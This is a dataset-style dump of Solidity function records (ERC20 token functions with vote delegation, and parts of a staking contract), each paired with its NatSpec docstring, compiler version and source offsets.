/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 331, 436 ] }
25,969
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 494, 618 ] }
25,970
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 826, 1006 ] }
25,971
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 1064, 1220 ] }
25,972
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 1362, 1536 ] }
25,973
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amou...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 2005, 2331 ] }
25,974
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 2735, 2958 ] }
25,975
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 3456, 3730 ] }
25,976
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sen...
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. *...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 4215, 4759 ] }
25,977
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfe...
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 5035, 5418 ] }
25,978
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _to...
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 5745, 6168 ] }
25,979
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amoun...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero a...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 6601, 6952 ] }
25,980
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}....
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * -...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 7551, 7648 ] }
25,981
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 691, 779 ] }
25,982
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 893, 985 ] }
25,983
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 1618, 1706 ] }
25,984
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
_setupDecimals
function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; }
/** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 2033, 2128 ] }
25,985
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
mint
function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); }
/// @notice Mints `_amount` token to `_to`. Must only be called by the owner (SmartContract).
NatSpecSingleLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 2230, 2397 ] }
25,986
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
burn
function burn(address _from, uint256 _amount) public onlyOwner { _burn(_from, _amount); }
/// @notice Burns `_amount` token from `_from`. Delegates reserved. Must only be called by the owner (SmartContract).
NatSpecSingleLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 2523, 2631 ] }
25,987
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
delegates
function delegates(address delegator) external view returns (address) { return _delegates[delegator]; }
/** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 4573, 4727 ] }
25,988
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
delegate
function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); }
/** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 4866, 4975 ] }
25,989
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
delegateBySig
function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), ...
/** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECD...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 5404, 6590 ] }
25,990
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
getCurrentVotes
function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; }
/** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 6786, 7046 ] }
25,991
ERC20Token
ERC20Token.sol
0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2
Solidity
ERC20Token
contract ERC20Token is ERC20, Ownable { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setu...
// ERC20Token with Governance.
LineComment
getPriorVotes
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "ERC20::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First ...
/** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at ...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8
{ "func_code_index": [ 7472, 8731 ] }
25,992
staking
contracts/staking.sol
0x904943e97a51a8260fd71187bc9d2c69feb8547f
Solidity
SkyToken
interface SkyToken { function extMint(address _addr, uint256 _amount) external returns (bool); function isWhitelistedReceiver(address _addr) external view returns (bool); function isWhitelistedMinter(address _addr) external view returns (bool); /** * @dev Returns the amount of tokens in ...
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.8.3+commit.8d00100c
{ "func_code_index": [ 341, 401 ] }
25,993
staking
contracts/staking.sol
0x904943e97a51a8260fd71187bc9d2c69feb8547f
Solidity
SkyToken
interface SkyToken { function extMint(address _addr, uint256 _amount) external returns (bool); function isWhitelistedReceiver(address _addr) external view returns (bool); function isWhitelistedMinter(address _addr) external view returns (bool); /** * @dev Returns the amount of tokens in ...
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.8.3+commit.8d00100c
{ "func_code_index": [ 484, 557 ] }
25,994
staking
contracts/staking.sol
0x904943e97a51a8260fd71187bc9d2c69feb8547f
Solidity
SkyToken
interface SkyToken { function extMint(address _addr, uint256 _amount) external returns (bool); function isWhitelistedReceiver(address _addr) external view returns (bool); function isWhitelistedMinter(address _addr) external view returns (bool); /** * @dev Returns the amount of tokens in ...
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.8.3+commit.8d00100c
{ "func_code_index": [ 781, 881 ] }
25,995
staking
contracts/staking.sol
0x904943e97a51a8260fd71187bc9d2c69feb8547f
Solidity
SkyToken
interface SkyToken { function extMint(address _addr, uint256 _amount) external returns (bool); function isWhitelistedReceiver(address _addr) external view returns (bool); function isWhitelistedMinter(address _addr) external view returns (bool); /** * @dev Returns the amount of tokens in ...
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.8.3+commit.8d00100c
{ "func_code_index": [ 1160, 1275 ] }
25,996
staking
contracts/staking.sol
0x904943e97a51a8260fd71187bc9d2c69feb8547f
Solidity
SkyToken
interface SkyToken { function extMint(address _addr, uint256 _amount) external returns (bool); function isWhitelistedReceiver(address _addr) external view returns (bool); function isWhitelistedMinter(address _addr) external view returns (bool); /** * @dev Returns the amount of tokens in ...
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate ...
NatSpecMultiLine
v0.8.3+commit.8d00100c
{ "func_code_index": [ 1939, 2018 ] }
25,997
staking
contracts/staking.sol
0x904943e97a51a8260fd71187bc9d2c69feb8547f
Solidity
SkyToken
interface SkyToken { function extMint(address _addr, uint256 _amount) external returns (bool); function isWhitelistedReceiver(address _addr) external view returns (bool); function isWhitelistedMinter(address _addr) external view returns (bool); /** * @dev Returns the amount of tokens in ...
transferFrom
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.8.3+commit.8d00100c
{ "func_code_index": [ 2331, 2467 ] }
25,998
staking
contracts/staking.sol
0x904943e97a51a8260fd71187bc9d2c69feb8547f
Solidity
staking
contract staking is Ownable, ERC20 { using SafeMath for uint256; uint256 public currentRound = 0; uint24 public WEEK = 604800; uint256 public readyAt = 0; uint256 public deployTime = block.timestamp ; address public token_addr; SkyToken token_contract = SkyToken(token_addr); ...
set_token_address
function set_token_address(address addr) external onlyOwner { token_addr = addr; token_contract = SkyToken(addr); }
/** * @notice Set Skycoin token contract address * @param addr Address of Skycoin token contract */
NatSpecMultiLine
v0.8.3+commit.8d00100c
{ "func_code_index": [ 1134, 1277 ] }
25,999